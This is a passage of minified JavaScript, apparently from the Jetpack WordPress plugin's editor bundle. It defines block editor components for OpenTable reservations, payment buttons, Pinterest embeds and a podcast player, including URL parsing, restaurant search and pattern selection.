1.4085s-.8795.58397-1.4076.5845zm0-9.96999843c-1.5777-.0009886-3.1203.46588743-4.43262 1.34158843-1.31236.8757-2.33558 2.1209-2.94025 3.57813-.60467 1.45722-.76365 3.06103-.45683 4.60861.30683 1.54757 1.06567 2.96947 2.18058 4.08577 1.1149 1.1163 2.53582 1.8769 4.08302 2.1856 1.5472.3088 3.1512.1518 4.6091-.451 1.458-.6028 2.7045-1.6245 3.5819-2.9358.8773-1.3112 1.3461-2.8532 1.3471-4.4309v-.005c.0008-2.11466-.8384-4.14304-2.3331-5.63899-1.4946-1.495952-3.5222-2.3369478-5.6369-2.33800843z"}))},69309:function(e,t,n){"use strict";n.d(t,{Xd:function(){return h},u2:function(){return m}});var r=n(51806),a=n(4981),o=n(65736),i=n(70355),s=n(31283),l=n(80452),c=n(70398),u=n(76851),d=n(15040),p=n(48769);const __=o.__,_x=o._x,m="opentable",h={title:__("OpenTable","jetpack"),description:__("Allow visitors to book a reservation with OpenTable","jetpack"),icon:{src:d.Z,foreground:(0,i.m)()},category:"earn",keywords:[_x("booking","block search term","jetpack"),_x("reservation","block search term","jetpack"),_x("restaurant","block search term","jetpack")],supports:{align:!0,html:!1},edit:u.Z,save:e=>{let{attributes:{rid:t}}=e;return(0,r.createElement)("div",null,t.map(((e,t)=>(0,r.createElement)("a",{href:`https://www.opentable.com/restref/client/?rid=${e}`,key:`${e}-${t}`},`https://www.opentable.com/restref/client/?rid=${e}`))))},attributes:s.ez,styles:(0,s.Eo)(),example:{attributes:{rid:["1"],style:"standard",iframe:!0,domain:"com",lang:"en-US",newtab:!1,negativeMargin:!1}},transforms:{from:[{type:"raw",isMatch:e=>"P"===e.nodeName&&0===e.textContent.indexOf("http")&&(p.pU.test(e.textContent)||p.tC.test(e.textContent)),transform:e=>{const t=(0,p.CC)(e.textContent);return(0,a.createBlock)("jetpack/opentable",t)}}]},deprecated:[l.Z,c.Z]}},57087:function(e,t,n){"use strict";n.d(t,{Z:function(){return p}});var r=n(82674),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736),c=n(92819),u=n(25392);const __=l.__,_n=l._n,d=20;function p(e){const[t,n]=(0,s.useState)(""),r=(0,u.Z)(t,d),[l,p]=(0,s.useState)(e.rids||[]),m=/^(\d+)$|\(\#(\d+)\)$/,h=r.filter((e=>l.indexOf(e.rid.toString())<0)).map((e=>e.name+` (#${e.rid})`)),f=(0,o.createElement)(i.FormTokenField,a()({value:l,suggestions:h,saveTransform:e=>u.$.test(e)?"":e.trim(),onInputChange:n,maxSuggestions:d,label:_n("Restaurant","Restaurants",l.length,"jetpack")},e,{onChange:t=>{const n=t.map((e=>{const t=m.exec(e);return t[1]||t[2]}));p(n),e.onChange&&e.onChange(n)}}));return(0,o.createElement)("div",{className:"wp-block-jetpack-opentable-restaurant-picker"},e.onSubmit?(0,o.createElement)("form",{onSubmit:n=>{n.preventDefault(),e.onSubmit((0,c.isEmpty)(l)?t:l)}},f,(0,o.createElement)(i.Button,{variant:"secondary",type:"submit"},__("Embed","jetpack"))):f)}},41007:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(69307);function a(e){const t=(0,r.useRef)();return(0,r.useEffect)((()=>{t.current=e}),[e]),t.current}},25392:function(e,t,n){"use strict";n.d(t,{$:function(){return o},Z:function(){return i}});var r=n(69307),a=n(92819);const o=/^\s*(http[s]?:\/\/|\<script)/;function i(e,t){const[n,i]=(0,r.useState)([]),s=(0,r.useCallback)((0,a.throttle)((function(){fetch("https://www.opentable.com/widget/reservation/restaurant-search?pageSize="+t+"&query="+encodeURIComponent(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"")).then((e=>e.json())).then((e=>i((0,a.unionBy)(n,e.items,"rid"))))}),500),[n]);return(0,r.useEffect)((()=>{(0,a.isEmpty)(e)||o.test(e)||s(e)}),[e]),n}},48769:function(e,t,n){"use strict";n.d(t,{CC:function(){return i},pU:function(){return o},tC:function(){return a}});const r=/<\s*script[^>]*src\s*=\s*["']?([^"']*)/i,a=/restref=([0-9]+)&/,o=/rid=([0-9]+)&/,i=e=>{if(e)return(e=>{if(!e)return;let t="";if(t=0===e.indexOf("http")?new URL(e):new URL("http:"+e),!t.host||-1===t.host.indexOf("opentable")||!t.search)return;const n=new URLSearchParams(t.search);let r=n.get("theme");"button"===n.get("type")&&(r=n.get("type"));let a=n.getAll("rid");if(a&&0!==a.length||(a=n.getAll("restref")),!a||0===a.length)return;const o={};a&&(o.rid=a);const i=n.get("domain");i&&(o.domain=i);const s=n.get("iframe");s&&(o.iframe=s);const l=n.get("lang");l&&(o.lang=l);const c=n.get("newtab");return c&&(o.newtab=c),r&&(o.style=r),o})((e=>{const t=e.match(r);return t&&t[1]?t[1]:a.test(e)||o.test(e)?e:void 0})(e))}},14119:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(55609),s=n(9818),l=n(69307),c=n(92694),u=n(65736),d=n(65235),p=n.n(d),m=n(2327),h=n(16367),f=n(7652),g=n(5364);const __=u.__,b=["jetpack/recurring-payments"];t.Z=function(e){let{clientId:t,attributes:n}=e;const{layout:u,fontSize:d}=n,{connectUrl:v,isApiConnected:k,shouldUpgrade:y,upgradeUrl:E}=(0,s.useSelect)((e=>{const{getConnectUrl:t,getShouldUpgrade:n,getUpgradeUrl:r,isApiStateConnected:a}=e(f.h);return{connectUrl:t(),isApiConnected:a(),shouldUpgrade:n(),upgradeUrl:r()}})),w=(0,s.useSelect)((e=>e("core/block-editor").getBlock(t).innerBlocks.filter((e=>"jetpack/recurring-payments"===e.name))),[t]);(0,l.useEffect)((()=>{(0,c.addFilter)("jetpack.recurringPayments.editorSettings","jetpack/payment-buttons-hide-nudges-from-inner-blocks",((e,t)=>w.some((e=>e.clientId===t))?{...e,showStripeNudge:!1,showUpgradeNudge:!1}:e))}),[w]);const _=(0,a.OZ)("recurring-payments"),C=!_.available&&"missing_plan"===_.unavailableReason,S=!!E&&!C,j=!y&&!k&&!!v,x=(0,o.useBlockProps)({className:p()({"has-custom-font-size":!!d||n?.style?.typography?.fontSize})}),P=(0,o.useInnerBlocksProps)(x,{allowedBlocks:b,orientation:"horizontal",template:[["jetpack/recurring-payments"]],templateInsertUpdatesSelection:!0,__experimentalLayout:u});return delete P.id,delete P["data-block"],(0,r.createElement)("div",x,j&&(0,r.createElement)(o.BlockControls,{group:"block"},(0,r.createElement)(m.Z,{blockName:"jetpack/payment-buttons",connectUrl:v})),S&&(0,r.createElement)(i.Placeholder,{className:"jetpack-payment-buttons__upgrade-nudge",icon:g.qv,instructions:__("You'll need to upgrade your plan to use the Payment Buttons block.","jetpack"),label:g.TN},(0,r.createElement)(i.Button,{href:E,target:"_blank",variant:"secondary"},__("Upgrade your plan","jetpack")),(0,r.createElement)("div",{className:"membership-button__disclaimer"},(0,r.createElement)(i.ExternalLink,{href:"https://wordpress.com/support/wordpress-editor/blocks/payments/#related-fees"},__("Read more about Payments and related fees.","jetpack")))),j&&(0,r.createElement)(h.U,{blockName:"payment-buttons"}),(0,r.createElement)("div",P))}},27780:function(e,t,n){"use strict";var r=n(31985),a=n(5364);(0,r.Z)(a.u2,a.Xd)},5364:function(e,t,n){"use strict";n.d(t,{TN:function(){return m},Xd:function(){return g},qv:function(){return h},u2:function(){return p}});var r=n(51806),a=n(13419),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(56367),u=n(14119),d=n(60357);const __=s.__,p="payment-buttons",m=__("Payment Buttons","jetpack"),h=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(o.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,r.createElement)(o.G,null,(0,r.createElement)(o.Path,{d:"M20 4H4c-1.105 0-2 .895-2 2v12c0 1.105.895 2 2 2h16c1.105 0 2-.895 2-2V6c0-1.105-.895-2-2-2zm0 2v2H4V6h16zM4 18v-6h16v6H4zm2-4h7v2H6v-2zm9 0h3v2h-3v-2z"}))),f=(0,a.Wp)()||(0,a.Ug)()?"https://wordpress.com/support/video-tutorials-add-payments-features-to-your-site-with-our-guides/#how-to-use-the-payments-block-video":"https://jetpack.com/support/jetpack-blocks/payments-block/",g={apiVersion:2,title:m,icon:{src:h,foreground:(0,l.m)()},description:(0,r.createElement)(i.Fragment,null,(0,r.createElement)("p",null,__("Prompt visitors to purchase your products and subscriptions with a group of buttons.","jetpack")),(0,r.createElement)(o.ExternalLink,{href:f},__("Support reference","jetpack"))),category:"earn",keywords:[...new Set([c.Xd.title,...c.Xd.keywords])],edit:u.Z,save:d.Z,supports:{__experimentalExposeControlsToChildren:!0,align:["wide","full"],spacing:{blockGap:!0,margin:["vertical"],__experimentalDefaultControls:{blockGap:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}}}}},60357:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o);function s(e){let{attributes:t}=e;const n=i()({"has-custom-font-size":!!t?.fontSize||t?.style?.typography?.fontSize}),o=a.useBlockProps.save({className:n}),s=a.useInnerBlocksProps.save(o);return(0,r.createElement)("div",s)}},48620:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(55609);function o(e){let{variations:t,onSelect:n,label:o}=e;return(0,r.createElement)("ul",{"aria-label":o,className:"wp-block-jetpack-payments-intro__variation-picker"},t.map((e=>(0,r.createElement)("li",{key:e.name},(0,r.createElement)(a.Button,{variant:"secondary",icon:e.icon,iconSize:48,onClick:()=>n(e),className:"wp-block-jetpack-payments-intro__variation-picker__variation",label:e.description||e.title}),(0,r.createElement)("span",{className:"wp-block-jetpack-payments-intro__variation-picker__variation-label",role:"presentation"},e.title)))))}},50215:function(e,t,n){"use strict";n.d(t,{Z:function(){return h}});var r=n(51806),a=n(52175),o=n(4981),i=n(55609),s=n(9818),l=n(69307),c=n(65736),u=n(92819),d=n(48620),p=n(31654),m=n(76039);const __=c.__;function h(e){let{name:t,clientId:n,className:c}=e;const h=e=>e.categories?.includes("shop"),{blockType:f,hasInnerBlocks:g,hasPatterns:b,settings:v}=(0,s.useSelect)((e=>{const{getBlocks:r,__experimentalGetAllowedPatterns:i,getSettings:s}=e(a.store);return{settings:s(),blockType:(0,o.getBlockType)(t),hasInnerBlocks:r(n)?.length>0,hasPatterns:i?.().filter(h).length>0}})),{replaceBlock:k,selectBlock:y,updateSettings:E}=(0,s.useDispatch)(a.store),w=(0,l.useCallback)((e=>{v?.allowedBlockTypes?.includes(e)||E({...v,allowedBlockTypes:[...v.allowedBlockTypes,e]})}),[v,E]),_=e=>{const t=e.name;w(t),k(n,(0,o.createBlock)(t)),y(n)},C=m.Z.filter((e=>(0,o.getBlockType)(e.name)));(0,l.useEffect)((()=>{g||o.registerBlockVariation||_(C[0])}));const S=C.length&&o.registerBlockVariation;let j=__("Please select which kind of payment you'd like to add.","jetpack");return b&&(j=__("Start by choosing one of our suggested layout patterns.","jetpack")),!g&&S?(0,r.createElement)(i.Placeholder,{icon:(0,u.get)(f,["icon","src"]),label:(0,u.get)(f,["title"]),instructions:j,className:c},b&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(p.Z,{onBlockPatternSelect:e=>k(n,e.map(o.cloneBlock)),patternFilter:h}),(0,r.createElement)("p",null,__("Or use one of our blocks to create your own.","jetpack"))),(0,r.createElement)(d.Z,{label:__("Payment Block list","jetpack"),variations:C,onSelect:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:C[0];_(e)}})):(0,r.createElement)(a.InnerBlocks,null)}},5477:function(e,t,n){"use strict";var r=n(31985),a=n(68007);(0,r.Z)(a.u2,a.Xd)},68007:function(e,t,n){"use strict";n.d(t,{Xd:function(){return m},u2:function(){return p}});var r=n(51806),a=n(52175),o=n(65736),i=n(64967),s=n(70355),l=n(29800),c=n(50851),u=n(56367),d=n(50215);const __=o.__,_x=o._x,p="payments-intro",m={title:__("Payments","jetpack"),description:__("Sell products and services or receive donations on your website","jetpack"),icon:{src:i.Z,foreground:(0,s.m)()},category:"earn",keywords:[...new Set([l.Xd.title,...l.Xd.keywords,u.Xd.title,...u.Xd.keywords,c.X.title,...c.X.keywords,_x("paid","block search term","jetpack"),_x("pay","block search term","jetpack"),_x("money","block search term","jetpack"),_x("checkout","block search term","jetpack")])],supports:{alignWide:!1,className:!0,customClassName:!1,html:!1,reusable:!1},edit:d.Z,save:()=>(0,r.createElement)(a.InnerBlocks.Content,null)}},31654:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736);const __=s.__;function l(e){let{onBlockPatternSelect:t,patternFilter:n}=e;const[s,l]=(0,i.useState)(!1);return a.__experimentalBlockPatternSetup?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.Button,{variant:"primary",onClick:()=>l(!0),className:"wp-payments-intro-pattern-picker__opener"},__("Choose a pattern","jetpack")),s&&(0,r.createElement)(o.Modal,{className:"wp-block-jetpack-payments-intro__pattern-picker__selection-modal",title:__("Choose a pattern","jetpack"),closeLabel:__("Cancel","jetpack"),onRequestClose:()=>l(!1)},(0,r.createElement)(a.__experimentalBlockPatternSetup,{onBlockPatternSelect:t,filterPatternsFn:n}))):null}},76039:function(e,t,n){"use strict";var r=n(29800),a=n(5364),o=n(50851);const i=[[r.u2,r.Xd],[a.u2,a.Xd],[o.u,o.X]].map((e=>{var t;let[n,r]=e;return{name:n.includes("/")?n:"jetpack/"+n,title:r.title,description:r.description,icon:null!==(t=r.icon.src)&&void 0!==t?t:r.icon}}));t.Z=i},15774:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(55609),o=n(65736),i=n(66094);const __=o.__,_x=o._x;function s(e){let{className:t,onSubmit:n,noticeUI:o,url:s,setUrl:l}=e;return(0,r.createElement)("div",{className:t},(0,r.createElement)(a.Placeholder,{label:__("Pinterest","jetpack"),icon:i.qv,notices:o},(0,r.createElement)("form",{onSubmit:e=>{e.preventDefault(),n()}},(0,r.createElement)("input",{type:"url",value:s,className:"components-placeholder__input","aria-label":__("Pinterest URL","jetpack"),placeholder:__("Enter URL to embed here…","jetpack"),onChange:e=>l(e.target.value)}),(0,r.createElement)(a.Button,{variant:"secondary",type:"submit"},_x("Embed","button label","jetpack")))))}},89488:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(4981),o=n(55609),i=n(69307),s=n(65736);const __=s.__,_x=s._x;function l(e){let{fallbackUrl:t,onClick:n}=e;return(0,r.createElement)(r.Fragment,null,__("Sorry, this content could not be embedded.","jetpack")," ",(0,r.createElement)(o.Button,{variant:"link",onClick:()=>{const e=(0,r.createElement)("a",{href:t},t);n((0,a.createBlock)("core/paragraph",{content:(0,i.renderToString)(e)}))}},_x("Convert block to link","button label","jetpack")))}},13647:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(){return(0,r.createElement)("div",{className:"wp-block-embed is-loading"},(0,r.createElement)(a.Spinner,null),(0,r.createElement)("p",null,__("Embedding…","jetpack")))}},89852:function(e,t,n){"use strict";n.d(t,{C:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(e){let{setEditingState:t}=e;return(0,r.createElement)(a.ToolbarGroup,null,(0,r.createElement)(a.ToolbarButton,{className:"components-toolbar__control",label:__("Edit URL","jetpack"),icon:"edit",onClick:()=>t(!0)}))}},15479:function(e,t,n){"use strict";var r=n(51806),a=n(34098);t.Z={attributes:{url:{type:"string"}},supports:{align:!1,html:!1},save:e=>{let{attributes:t,className:n}=e;const{url:o}=t;return(0,a.t)(o)?(0,r.createElement)("div",{className:n},(0,r.createElement)("a",{"data-pin-do":(0,a.t)(o),href:o})):null}}},43529:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(15774),l=n(89488),c=n(13647),u=n(89852),d=n(18867),p=n(34098);t.Z=(0,o.withNotices)((function(e){let{attributes:t,isSelected:n,className:m,noticeOperations:h,noticeUI:f,setAttributes:g,onReplace:b}=e;const{url:v}=t,{isFetching:k,pinterestUrl:y,testUrl:E,hasTestUrlError:w}=(0,d.Z)(),[_,C]=(0,i.useState)(!1),[S,j]=(0,i.useState)(""),[x,P]=(0,i.useState)(!1),L=(0,i.useCallback)((()=>(0,r.createElement)(l.Z,{fallbackUrl:S,onClick:b})),[w]),T=()=>{k||(E(S),P(!1))},N=()=>{C(!0)};if((0,i.useEffect)((()=>{v&&E(v)}),[]),(0,i.useEffect)((()=>{!n&&_&&C(!1)}),[n,_]),(0,i.useEffect)((()=>{g({url:y}),h.removeAllNotices(),y&&j(y),w&&h.createErrorNotice(L())}),[y,w,g,L]),k)return(0,r.createElement)(c.Z,null);const A=(0,p.t)(v);if(x||!v||v&&!A)return(0,r.createElement)(s.Z,{className:m,onSubmit:T,noticeUI:f,url:S,setUrl:j});const R=`<a data-pin-do='${A}' href='${v}'></a>`;return(0,r.createElement)("div",{className:m},(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(u.C,{setEditingState:P})),(0,r.createElement)("div",null,(0,r.createElement)(o.SandBox,{html:R,scripts:["https://assets.pinterest.com/js/pinit.js"],onFocus:N}),!_&&(0,r.createElement)("div",{className:"block-library-embed__interactive-overlay",onMouseUp:N})))}))},7414:function(e,t,n){"use strict";var r=n(31985),a=n(66094);(0,r.Z)(a.u2,a.Xd)},18867:function(e,t,n){"use strict";var r=n(69307),a=n(66094),o=n(23621);t.Z=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";const[t,n]=(0,r.useState)(!1),[i,s]=(0,r.useState)(e),[l,c]=(0,r.useState)(!1);return(0,r.useEffect)((()=>{i&&i!==a.a0&&(n(!0),(0,o.Z)(i).then((e=>{n(!1),s(e),c(!1)})).catch((()=>{n(!1),s(i||void 0),c(!0)})))}),[i]),{isFetching:t,pinterestUrl:i,hasTestUrlError:l,testUrl:s}}},66094:function(e,t,n){"use strict";n.d(t,{Wh:function(){return d},Xd:function(){return g},a0:function(){return p},qv:function(){return f},u2:function(){return m}});var r=n(51806),a=n(4981),o=n(55609),i=n(65736),s=n(70355),l=n(15479),c=n(43529),u=n(54709);const __=i.__,_x=i._x,d=/^\s*https?:\/\/(?:www\.)?(?:[a-z]{2}\.)?(?:pinterest\.[a-z.]+|pin\.it)\/([^/]+)(\/[^/]+)?/i,p="https://pinterest.com/anapinskywalker/",m="pinterest",h=__("Pinterest","jetpack"),f=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(o.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,r.createElement)(o.G,null,(0,r.createElement)(o.Path,{d:"M12,2C6.477,2,2,6.477,2,12c0,4.236,2.636,7.855,6.356,9.312c-0.087-0.791-0.166-2.005,0.035-2.869c0.182-0.78,1.173-4.971,1.173-4.971s-0.299-0.599-0.299-1.484c0-1.39,0.806-2.429,1.809-2.429c0.853,0,1.265,0.641,1.265,1.409c0,0.858-0.546,2.141-0.828,3.329c-0.236,0.996,0.499,1.807,1.481,1.807c1.777,0,3.144-1.874,3.144-4.579c0-2.394-1.72-4.068-4.177-4.068c-2.845,0-4.515,2.134-4.515,4.34c0,0.859,0.331,1.781,0.744,2.282c0.082,0.099,0.094,0.186,0.069,0.287C8.18,14.682,8.011,15.361,7.978,15.5c-0.044,0.183-0.145,0.222-0.334,0.134c-1.249-0.581-2.03-2.407-2.03-3.874c0-3.154,2.292-6.051,6.607-6.051c3.469,0,6.165,2.472,6.165,5.775c0,3.446-2.173,6.22-5.189,6.22c-1.013,0-1.966-0.526-2.292-1.148c0,0-0.501,1.909-0.623,2.377c-0.226,0.869-0.835,1.957-1.243,2.622C9.975,21.844,10.969,22,12,22c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2z"}))),g={title:h,description:__("Embed a Pinterest pin, board, or user.","jetpack"),icon:{src:f,foreground:(0,s.m)()},category:"embed",keywords:[_x("social","block search term","jetpack"),_x("pinboard","block search term","jetpack"),_x("pins","block search term","jetpack")],supports:{align:!1,html:!1},attributes:{url:{type:"string"}},edit:c.Z,save:u.Z,transforms:{from:[{type:"raw",isMatch:e=>"P"===e.nodeName&&d.test(e.textContent),transform:e=>(0,a.createBlock)("jetpack/pinterest",{url:e.textContent.trim()})}]},example:{attributes:{url:p}},deprecated:[l.Z]}},54709:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{attributes:t}=e;const{url:n}=t;return(0,r.createElement)("a",{href:n},n)}},34098:function(e,t,n){"use strict";n.d(t,{t:function(){return o}});var r=n(96483),a=n(66094);function o(e){if(!a.Wh.test(e))return"";const t=(0,r.getPath)(e);return t?t.startsWith("pin/")?"embedPin":t.match(/^([^/]+)\/?$/)?"embedUser":t.match(/^([^/]+)\/([^/]+)\/?$/)?"embedBoard":"":""}},98075:function(e,t,n){"use strict";n.d(t,{G:function(){return s},q:function(){return l}});var r=n(86989),a=n.n(r),o=n(96483),i=n(63226);const s=async()=>await a()({path:"/wpcom/v2/podcast-player/track-quantity"}),l=async e=>{let t,n,r,{url:s,guids:l=[],fetchEpisodeOptions:c=!1}=e;try{t=await a()({path:(0,o.addQueryArgs)("/wpcom/v2/podcast-player",{url:s,guids:l,"episode-options":c})})}catch(e){n=e}if(t)return{type:i.u,data:t};try{r=await a()({path:(0,o.addQueryArgs)("/oembed/1.0/proxy",{url:s})})}catch(e){}const u='<a href="'+s+'">'+s+"</a>";if(r&&r.html!==u)return{type:i.b};throw n}},30723:function(e,t,n){"use strict";var r=n(96483),a=n(24381);t.Z={url:{type:"string",validator:r.isUrl},selectedEpisodes:{type:"array",default:[]},itemsToShow:{type:"integer",default:5},showCoverArt:{type:"boolean",default:!0},showEpisodeTitle:{type:"boolean",default:!0},showEpisodeDescription:{type:"boolean",default:!0},primaryColor:{type:"string"},customPrimaryColor:{type:"string",validator:a.Z},hexPrimaryColor:{type:"string",validator:a.Z},secondaryColor:{type:"string"},customSecondaryColor:{type:"string",validator:a.Z},hexSecondaryColor:{type:"string",validator:a.Z},backgroundColor:{type:"string"},customBackgroundColor:{type:"string",validator:a.Z},hexBackgroundColor:{type:"string",validator:a.Z},exampleFeedData:{type:"object"}}},77715:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65235),i=n.n(o),s=n(29431);const l=(0,a.memo)((e=>{let{playerId:t,title:n,cover:a,link:o,track:i,children:s,showEpisodeTitle:l,showCoverArt:u,showEpisodeDescription:d,colors:p}=e;return u||l||d?(0,r.createElement)("div",{className:"jetpack-podcast-player__header"},(0,r.createElement)("div",{className:"jetpack-podcast-player__current-track-info"},u&&a&&(0,r.createElement)("div",{className:"jetpack-podcast-player__cover"},(0,r.createElement)("img",{className:"jetpack-podcast-player__cover-image",src:a,alt:""})),l&&!!(n||i&&i.title)&&(0,r.createElement)(c,{playerId:t,title:n,link:o,track:i,colors:p})),!!(d&&i&&i.description)&&(0,r.createElement)("p",{id:`${t}__track-description`,className:"jetpack-podcast-player__track-description"},i.description),s):s})),c=(0,a.memo)((e=>{let{playerId:t,title:n,link:a,track:o,colors:l={primary:{name:null,custom:null,classes:""}}}=e;return(0,r.createElement)("h2",{id:`${t}__title`,className:"jetpack-podcast-player__title"},!(!o||!o.title)&&(0,r.createElement)("span",{className:i()("jetpack-podcast-player__current-track-title",l.primary.classes),style:{color:l.primary.custom}},o.title,(0,r.createElement)("a",{className:"jetpack-podcast-player__track-title-link",href:o.link||o.src,target:"_blank",rel:"noopener noreferrer nofollow"},s.Z)),!!(o&&o.title&&n)&&(0,r.createElement)("span",{className:"jetpack-podcast-player--visually-hidden"}," - "),!!n&&(0,r.createElement)(u,{title:n,link:a,colors:l}))})),u=(0,a.memo)((e=>{let{title:t,link:n}=e;return(0,r.createElement)("span",{className:"jetpack-podcast-player__podcast-title"},n?(0,r.createElement)("a",{className:"jetpack-podcast-player__link",href:n,target:"_blank",rel:"noopener noreferrer nofollow"},t):{title:t})}));t.Z=l},39122:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(97115),i=n(72862);const s=(0,a.memo)((e=>{let{playerId:t,tracks:n,selectTrack:a,currentTrack:s,playerState:l,colors:c}=e;return(0,r.createElement)("ol",{className:"jetpack-podcast-player__tracks","aria-labelledby":`jetpack-podcast-player__tracklist-title--${t}`,"aria-describedby":`jetpack-podcast-player__tracklist-description--${t}`},n.map(((e,t)=>{const n=s===t;return(0,r.createElement)(i.Z,{key:e.id,index:t,track:e,selectTrack:a,isActive:n,isPlaying:n&&l===o.Wp,isError:n&&l===o.Vy,colors:c})})))}));t.Z=s},71600:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(25158),s=n(94333),l=n(9818),c=n(69307),u=n(65736),d=n(65235),p=n.n(d),m=n(72752),h=n(97115),f=n(66085),g=n(77715),b=n(39122),v=n(71540);const __=u.__;class k extends c.Component{constructor(){super(...arguments),a()(this,"state",{currentTrack:0,hasUserInteraction:!1}),a()(this,"recordUserInteraction",(()=>{this.state.hasUserInteraction||this.setState({hasUserInteraction:!0})})),a()(this,"selectTrack",(e=>{const{currentTrack:t}=this.state;if(t===e)return this.recordUserInteraction(),void this.props.toggleMediaSource(this.props.playerId);-1!==t&&this.props.pauseMediaSource(this.props.playerId),this.loadAndPlay(e)})),a()(this,"loadTrack",(e=>{const t=this.getTrack(e);if(!t)return!1;this.state.currentTrack!==e&&this.setState({currentTrack:e});const{title:n,link:r,description:a}=t;return this.props.updateMediaSourceData(this.props.playerId,{title:n,link:r}),(0,i.speak)(/* translators: %s is the track title. It describes the current state of the track as "Loading: [track title]". */
`${(0,u.sprintf)(__("Loading: %s","jetpack"),n)} ${a}`,"assertive"),!0})),a()(this,"loadAndPlay",(e=>{this.recordUserInteraction(),this.loadTrack(e)&&this.props.playMediaSource(this.props.playerId)})),a()(this,"getTrack",(e=>this.props.tracks[e])),a()(this,"handleError",(e=>{if(!this.state.hasUserInteraction){const t=window.navigator.userAgent.match(/Trident\/7\./)?"IE11: Playing sounds in webpages setting is not checked":e;this.setState((()=>{throw new Error(t)}))}this.props.errorMediaSource(this.props.playerId),(0,i.speak)(`${__("Error: Episode unavailable - Open in a new tab","jetpack")}`,"assertive")})),a()(this,"handlePlay",(()=>{this.props.playMediaSource(this.props.playerId),this.setState({hasUserInteraction:!0})})),a()(this,"handlePause",(()=>{this.props.pauseMediaSource(this.props.playerId),this.props.playerState!==h.Vy&&this.props.pauseMediaSource(this.props.playerId)})),a()(this,"handleTimeChange",(e=>{this.props.setMediaSourceCurrentTime(this.props.playerId,e)})),a()(this,"handleJump",(()=>{this.props.setMediaSourceCurrentTime(this.props.playerId,this.props.currentTime-5)})),a()(this,"handleSkip",(()=>{this.props.setMediaSourceCurrentTime(this.props.playerId,this.props.currentTime+30)})),a()(this,"updateMediaData",(e=>{this.props.updateMediaSourceData(this.props.playerId,{duration:e.target?.duration,domId:e.target?.id})}))}registerPlayer(){const e=this.getTrack(this.state.currentTrack)||{},{playerId:t}=this.props;this.props.registerMediaSource(t,{title:e.title,link:e.link,state:h._5}),this.props.setDefaultMediaSource(t)}componentDidMount(){this.props.playerId&&this.registerPlayer()}componentWillUnmount(){this.props.playerId&&this.props.unregisterMediaSource(this.props.playerId)}componentDidUpdate(e){const t=e=>e?.length?e.map((e=>e.guid)):[],n=t(this.props.tracks),r=new Set(t(e.tracks));n.length===r.size&&n.every((e=>r.has(e)))||this.loadTrack(0)}static getDerivedStateFromProps(e,t){return e.tracks.length<=t.currentTrack?{...t,currentTrack:0}:null}render(){const{playerId:e,title:t,link:n,cover:r,tracks:a,attributes:i,currentTime:s,playerState:l}=this.props,{itemsToShow:c,primaryColor:d,customPrimaryColor:h,hexPrimaryColor:v,secondaryColor:k,customSecondaryColor:y,hexSecondaryColor:E,backgroundColor:w,customBackgroundColor:_,hexBackgroundColor:C,showCoverArt:S,showEpisodeTitle:j,showEpisodeDescription:x}=i,{currentTrack:P}=this.state,L=a.slice(0,c),T=this.getTrack(P),N=(0,f.Aq)({primaryColor:d,customPrimaryColor:h,secondaryColor:k,customSecondaryColor:y,backgroundColor:w,customBackgroundColor:_}),A={color:y,backgroundColor:_,"--jetpack-podcast-player-primary":v,"--jetpack-podcast-player-secondary":E,"--jetpack-podcast-player-background":C},R=p()("jetpack-podcast-player",l,N.secondary.classes,N.background.classes);return(0,o.createElement)("section",{className:R,style:A,"aria-labelledby":t||T&&T.title?`${e}__title`:void 0,"aria-describedby":T&&T.description?`${e}__track-description`:void 0,"data-jetpack-iframe-ignore":!0},(0,o.createElement)(g.Z,{playerId:e,title:t,link:n,cover:r,track:this.getTrack(P),showCoverArt:S,showEpisodeTitle:j,showEpisodeDescription:x,colors:N},(0,o.createElement)(m.Z,{onJumpBack:this.handleJump,onSkipForward:this.handleSkip,trackSource:this.getTrack(P).src,onPlay:this.handlePlay,onPause:this.handlePause,onError:this.handleError,playStatus:l,currentTime:s,onTimeChange:this.handleTimeChange,onMetadataLoaded:this.updateMediaData})),L.length>1&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)("h4",{id:`jetpack-podcast-player__tracklist-title--${e}`,className:"jetpack-podcast-player--visually-hidden"},(0,u.sprintf)(
// translators: %s is the track title.
